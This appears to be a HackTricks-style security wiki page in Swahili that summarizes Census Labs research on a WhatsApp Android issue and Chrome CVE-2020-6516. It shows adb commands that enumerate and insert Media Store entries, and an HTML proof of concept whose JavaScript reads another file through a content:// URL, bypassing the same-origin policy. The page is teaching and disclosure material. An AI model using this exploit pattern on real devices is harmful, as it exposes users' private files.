79 lines
3.6 KiB
Markdown

{{#include ../../banners/hacktricks-training.md}}
**Hii ni muhtasari wa chapisho [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Kuorodhesha Faili katika Media Store
Ili kuorodhesha faili zinazodhibitiwa na Media Store, amri iliyo hapa chini inaweza kutumika:
```bash
$ content query --uri content://media/external/file
```
Kwa matokeo rafiki zaidi kwa binadamu, kuonyesha tu kitambulisho na njia ya kila faili iliyoorodheshwa:
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Watoa maudhui wamejengwa katika eneo lao la kibinafsi. Upatikanaji wa mtoa huduma unahitaji URI maalum ya `content://`. Taarifa kuhusu njia za kufikia mtoa huduma zinaweza kupatikana kutoka kwa hati za programu au ms source code wa Android framework.
### Upatikanaji wa Chrome kwa Watoa Maudhui
Chrome kwenye Android inaweza kufikia watoa maudhui kupitia mpango wa `content://`, ikiruhusu kufikia rasilimali kama picha au hati zilizotolewa na programu za wahusika wengine. Ili kuonyesha hili, faili inaweza kuingizwa kwenye Media Store na kisha kufikiwa kupitia Chrome:
Ingiza kipengele maalum kwenye Media Store:
```bash
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
```
Gundua kitambulisho cha faili mpya iliyoongezwa:
```bash
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
Faili linaweza kuangaliwa katika Chrome kwa kutumia URL iliyoundwa na kitambulisho cha faili.
Kwa mfano, ili orodhesha faili zinazohusiana na programu maalum:
```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
```
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
_Same Origin Policy_ (SOP) ni itifaki ya usalama katika vivinjari inayopunguza kurasa za wavuti kutoka kuingiliana na rasilimali kutoka vyanzo tofauti isipokuwa ruhusiwe wazi na sera ya Cross-Origin-Resource-Sharing (CORS). Sera hii inalenga kuzuia uvujaji wa taarifa na udanganyifu wa maombi ya tovuti tofauti. Chrome inachukulia `content://` kama mpango wa ndani, ikimaanisha sheria za SOP kali, ambapo kila URL ya mpango wa ndani inachukuliwa kama chanzo tofauti.
Hata hivyo, CVE-2020-6516 ilikuwa udhaifu katika Chrome ambao uliruhusu kupita sheria za SOP kwa rasilimali zilizopakiwa kupitia URL ya `content://`. Kwa hivyo, msimbo wa JavaScript kutoka URL ya `content://` ungeweza kufikia rasilimali nyingine zilizopakiwa kupitia URL za `content://`, ambayo ilikuwa wasiwasi mkubwa wa usalama, hasa kwenye vifaa vya Android vinavyotumia toleo la kabla ya Android 10, ambapo uhifadhi wa kiwango haukuwekwa.
Uthibitisho wa dhana hapa chini unaonyesha udhaifu huu, ambapo hati ya HTML, baada ya kupakiwa chini ya **/sdcard** na kuongezwa kwenye Media Store, inatumia `XMLHttpRequest` katika JavaScript yake kufikia na kuonyesha maudhui ya faili nyingine katika Media Store, ikipita sheria za SOP.
Proof-of-Concept HTML:
```xml
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
```
{{#include ../../banners/hacktricks-training.md}}